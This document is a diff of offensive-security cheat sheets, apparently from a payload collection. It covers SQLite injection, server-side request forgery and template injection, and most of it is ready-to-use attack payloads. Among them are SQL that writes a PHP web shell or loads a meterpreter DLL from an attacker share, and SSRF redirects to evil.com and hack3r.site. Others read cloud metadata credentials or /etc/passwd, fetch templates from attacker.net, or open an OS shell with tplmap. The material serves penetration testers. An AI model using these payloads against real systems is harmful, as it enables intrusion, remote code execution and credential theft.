- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) * [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/) * [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html) * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
- [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* Second Order: * Second Order:
- [Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/) * [Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
- [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/) * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap: * Sqlmap:
- [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560) * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)

View File

@ -1,53 +1,64 @@
# SQLite Injection # SQLite Injection
## SQLite comments ## SQLite comments
```sql ```sql
-- --
/**/ /**/
``` ```
## SQLite version ## SQLite version
```sql ```sql
select sqlite_version(); select sqlite_version();
``` ```
## Integer/String based - Extract table name ## Integer/String based - Extract table name
```sql ```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
``` ```
Use limit X+1 offset X, to extract all tables. Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name ## Integer/String based - Extract column name
```sql ```sql
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
``` ```
For a clean output For a clean output
```sql ```sql
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
``` ```
## Boolean - Count number of tables ## Boolean - Count number of tables
```sql ```sql
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
``` ```
## Boolean - Enumerating table name ## Boolean - Enumerating table name
```sql ```sql
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
``` ```
## Boolean - Extract info ## Boolean - Extract info
```sql ```sql
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char') and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
``` ```
## Time based ## Time based
```sql ```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
``` ```
## Remote Command Execution using SQLite command - Attach Database ## Remote Command Execution using SQLite command - Attach Database
```sql ```sql
ATTACH DATABASE '/var/www/lol.php' AS lol; ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text); CREATE TABLE lol.pwn (dataz text);
@ -55,10 +66,13 @@ INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
``` ```
## Remote Command Execution using SQLite command - Load_extension ## Remote Command Execution using SQLite command - Load_extension
```sql ```sql
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
``` ```
Note: By default this component is disabled Note: By default this component is disabled
## Thanks to ## Thanks to
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf) [Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf)

View File

@ -1,27 +1,29 @@
# Server-Side Request Forgery # Server-Side Request Forgery
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him. Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.
## Summary ## Summary
* [Exploit with localhost]()
* [Bypassing filters]()
* [SSRF via URL Scheme]()
* [SSRF to XSS]()
* [SSRF URL for Cloud Instances]()
* [SSRF URL for AWS Bucket]()
* [SSRF URL for Google Cloud]()
* [SSRF URL for Digital Ocean]()
* [SSRF URL for Packetcloud]()
* [SSRF URL for Azure]()
* [SSRF URL for OpenStack/RackSpace]()
* [SSRF URL for HP Helion]()
* [SSRF URL for Oracle Cloud]()
* [SSRF URL for Alibaba]()
* [Exploit with localhost](#summary)
* [Bypassing filters](#summary)
* [SSRF via URL Scheme](#summary)
* [SSRF to XSS](#summary)
* [SSRF URL for Cloud Instances](#summary)
* [SSRF URL for AWS Bucket](#summary)
* [SSRF URL for Google Cloud](#summary)
* [SSRF URL for Digital Ocean](#summary)
* [SSRF URL for Packetcloud](#summary)
* [SSRF URL for Azure](#summary)
* [SSRF URL for OpenStack/RackSpace](#summary)
* [SSRF URL for HP Helion](#summary)
* [SSRF URL for Oracle Cloud](#summary)
* [SSRF URL for Alibaba](#summary)
## Exploit with localhost ## Exploit with localhost
Basic SSRF v1 Basic SSRF v1
```
```powershell
http://127.0.0.1:80 http://127.0.0.1:80
http://127.0.0.1:443 http://127.0.0.1:443
http://127.0.0.1:22 http://127.0.0.1:22
@ -30,63 +32,72 @@ http://0.0.0.0:443
http://0.0.0.0:22 http://0.0.0.0:22
``` ```
Basic SSRF v2 Basic SSRF - Alternative version
```
```powershell
http://localhost:80 http://localhost:80
http://localhost:443 http://localhost:443
http://localhost:22 http://localhost:22
``` ```
Advanced exploit using a redirection Advanced exploit using a redirection
```
```powershell
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com 1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP 2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1 vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
``` ```
Advanced exploit using type=url Advanced exploit using type=url
```
```powershell
Change "type=file" to "type=url" Change "type=file" to "type=url"
Paste URL in text field and hit enter Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF Using this vulnerability users can upload images from any image URL = trigger an SSRF
``` ```
## Bypassing filters ## Bypassing filters
Bypass using HTTPS Bypass using HTTPS
```
```powershell
https://127.0.0.1/ https://127.0.0.1/
https://localhost/ https://localhost/
``` ```
Bypass localhost with [::] Bypass localhost with [::]
```
```powershell
http://[::]:80/ http://[::]:80/
http://[::]:25/ SMTP http://[::]:25/ SMTP
http://[::]:22/ SSH http://[::]:22/ SSH
http://[::]:3128/ Squid http://[::]:3128/ Squid
``` ```
``` ```powershell
http://0000::1:80/ http://0000::1:80/
http://0000::1:25/ SMTP http://0000::1:25/ SMTP
http://0000::1:22/ SSH http://0000::1:22/ SSH
http://0000::1:3128/ Squid http://0000::1:3128/ Squid
``` ```
Bypass localhost with a domain redirecting to locahost Bypass localhost with a domain redirecting to locahost
```
```powershell
http://localtest.me http://localtest.me
http://n-pn.info http://n-pn.info
http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://customer1.app.localhost.my.company.127.0.0.1.nip.io
``` ```
The service nip.io is awesome for that, it will convert any ip address as a dns. The service nip.io is awesome for that, it will convert any ip address as a dns.
```
```powershell
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1 NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
``` ```
Bypass localhost with CIDR : 127.x.x.x Bypass localhost with CIDR : 127.x.x.x
```
```powershell
it's a /8 it's a /8
http://127.127.127.127 http://127.127.127.127
http://127.0.1.3 http://127.0.1.3
@ -94,7 +105,8 @@ http://127.0.0.0
``` ```
Bypass using a decimal ip location Bypass using a decimal ip location
```
```powershell
http://0177.0.0.1/ http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1 http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1 http://3232235521/ = http://192.168.0.1
@ -102,25 +114,28 @@ http://3232235777/ = http://192.168.1.1
``` ```
Bypass using malformed urls Bypass using malformed urls
```
```powershell
localhost:+11211aaa localhost:+11211aaa
localhost:00011211aaaa localhost:00011211aaaa
``` ```
Bypass using rare address Bypass using rare address
```
```powershell
http://0/ http://0/
``` ```
Bypass using bash variables (curl only) Bypass using bash variables (curl only)
```
curl -v "http://evil$google.com"
```powershell
curl -v "http://evil$google.com"
$google = "" $google = ""
``` ```
Bypass using tricks combination Bypass using tricks combination
```
```powershell
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1 urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2 requests + browsers : 2.2.2.2
@ -128,40 +143,45 @@ urllib : 3.3.3.3
``` ```
Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow) Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow)
```
```powershell
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List: List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
``` ```
## SSRF via URL Scheme ## SSRF via URL Scheme
Dict:// Dict Wrapper
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```
```powershell
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n> dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/ ssrf.php?url=dict://attacker:11111/
``` ```
Sftp:// Sftp Wrapper
```
```powershell
ssrf.php?url=sftp://evil.com:11111/ ssrf.php?url=sftp://evil.com:11111/
``` ```
Tftp:// Tftp Wrapper
```
```powershell
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
``` ```
Ldap:// Ldap Wrapper
```
```powershell
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
``` ```
Gopher:// Gopher Wrapper
```
```powershell
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like will make a request like
@ -181,7 +201,8 @@ You didn't say the magic word !
QUIT QUIT
``` ```
Gopher:// SMTP - Back connect to 1337 Gopher SMTP - Back connect to 1337
```php ```php
Content of evil.com/redirect.php: Content of evil.com/redirect.php:
<?php <?php
@ -191,7 +212,9 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
Now query it. Now query it.
https://example.com/?q=http://evil.com/redirect.php. https://example.com/?q=http://evil.com/redirect.php.
``` ```
Gopher:// SMTP - send a mail
Gopher SMTP - send a mail
```php ```php
Content of evil.com/redirect.php: Content of evil.com/redirect.php:
<?php <?php
@ -212,26 +235,30 @@ Content of evil.com/redirect.php:
``` ```
## SSRF to XSS by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) ## SSRF to XSS by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
```bash ```bash
http://brutelogic.com.br/poc.svg -> simple alert http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
``` ```
## SSRF URL for Cloud Instances ## SSRF URL for Cloud Instances
### SSRF URL for AWS Bucket ### SSRF URL for AWS Bucket
[Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
Interesting path to look for at http://169.254.169.254 Interesting path to look for at `http://169.254.169.254`
```
```powershell
Always here : /latest/meta-data/{hostname,public-ipv4,...} Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/ Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
``` ```
DNS record DNS record
```
```powershell
http://169.254.169.254 http://169.254.169.254
http://metadata.nicob.net/ http://metadata.nicob.net/
http://169.254.169.254.xip.io/ http://169.254.169.254.xip.io/
@ -240,13 +267,15 @@ http://www.owasp.org.1ynrnhl.xip.io/
``` ```
HTTP redirect HTTP redirect
```
```powershell
Static:http://nicob.net/redir6a Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80- Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
``` ```
Alternate IP encoding Alternate IP encoding
```
```powershell
http://425.510.425.510/ Dotted decimal with overflow http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow http://7147006462/ Dotless decimal with overflow
@ -258,7 +287,8 @@ http://0251.00376.000251.0000376/ Dotted octal with padding
``` ```
More urls to include More urls to include
```
```powershell
http://169.254.169.254/latest/user-data http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/
@ -272,8 +302,10 @@ http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
``` ```
### SSRF URL for Google Cloud ### SSRF URL for Google Cloud
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
```
```powershell
http://169.254.169.254/computeMetadata/v1/ http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/ http://metadata/computeMetadata/v1/
@ -282,19 +314,22 @@ http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id http://metadata.google.internal/computeMetadata/v1/project/project-id
``` ```
Google allows recursive pulls Google allows recursive pulls
```
```powershell
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
``` ```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
```
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/
``` ```
### SSRF URL for Digital Ocean ### SSRF URL for Digital Ocean
https://developers.digitalocean.com/documentation/metadata/
Documentation available at `https://developers.digitalocean.com/documentation/metadata/`
```powershell ```powershell
curl http://169.254.169.254/metadata/v1/id curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1.json
@ -310,36 +345,43 @@ curl http://169.254.169.254/metadata/v1.json | jq
``` ```
### SSRF URL for Packetcloud ### SSRF URL for Packetcloud
```
https://metadata.packet.net/userdata Documentation available at `https://metadata.packet.net/userdata`
```
### SSRF URL for Azure ### SSRF URL for Azure
Limited, maybe more exist? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
``` Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`
```powershell
http://169.254.169.254/metadata/v1/maintenance http://169.254.169.254/metadata/v1/maintenance
``` ```
Update Apr 2017, Azure has more support; requires the header "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`
```
```powershell
http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
``` ```
### SSRF URL for OpenStack/RackSpace ### SSRF URL for OpenStack/RackSpace
(header required? unknown) (header required? unknown)
```
```powershell
http://169.254.169.254/openstack http://169.254.169.254/openstack
``` ```
### SSRF URL for HP Helion ### SSRF URL for HP Helion
(header required? unknown) (header required? unknown)
```
```powershell
http://169.254.169.254/2009-04-04/meta-data/ http://169.254.169.254/2009-04-04/meta-data/
``` ```
### SSRF URL for Oracle Cloud ### SSRF URL for Oracle Cloud
```
```powershell
http://192.0.0.192/latest/ http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/meta-data/
@ -347,14 +389,15 @@ http://192.0.0.192/latest/attributes/
``` ```
### SSRF URL for Alibaba ### SSRF URL for Alibaba
```
```powershell
http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id http://100.100.100.200/latest/meta-data/image-id
``` ```
## Thanks to ## Thanks to
* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF) * [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648) * [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html) * [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)

View File

@ -1,29 +1,34 @@
# Templates Injections # Templates Injections
> Template injection allows an attacker to include template code into an existant (or not) template. > Template injection allows an attacker to include template code into an existant (or not) template.
Recommended tool: [Tplmap](https://github.com/epinna/tplmap) Recommended tool: [Tplmap](https://github.com/epinna/tplmap)
e.g: e.g:
```
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell ```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
``` ```
## Ruby ## Ruby
### Basic injection ### Basic injection
```python ```python
<%= 7 * 7 %> <%= 7 * 7 %>
``` ```
### Retrieve /etc/passwd ### Retrieve /etc/passwd
```python ```python
<%= File.open('/etc/passwd').read %> <%= File.open('/etc/passwd').read %>
``` ```
## Java
### Java - Basic injection
## Java
### Basic injection
```java ```java
${7*7} ${7*7}
${{7*7}} ${{7*7}}
@ -32,24 +37,29 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()} ${class.getResource("../../../../../index.htm").getContent()}
``` ```
### Retrieve the systems environment variables. ### Java - Retrieve the systems environment variables
```java ```java
${T(java.lang.System).getenv()} ${T(java.lang.System).getenv()}
``` ```
### Retrieve /etc/passwd ### Java - Retrieve /etc/passwd
```java ```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
``` ```
## Twig ## Twig
### Basic injection
### Twig - Basic injection
```python ```python
{{7*7}} {{7*7}}
{{7*'7'}} would result in 49 {{7*'7'}} would result in 49
``` ```
### Template format ### Twig - Template format
```python ```python
$output = $twig > render ( $output = $twig > render (
'Dear' . $_GET['custom_greeting'], 'Dear' . $_GET['custom_greeting'],
@ -62,28 +72,32 @@ $output = $twig > render (
); );
``` ```
### Code execution ### Twig - Code execution
```python ```python
{{self}} {{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
``` ```
## Smarty ## Smarty
```python ```python
{php}echo `id`;{/php} {php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
``` ```
## Freemarker ## Freemarker
Default functionality. Default functionality.
```python ```python
<#assign <#assign
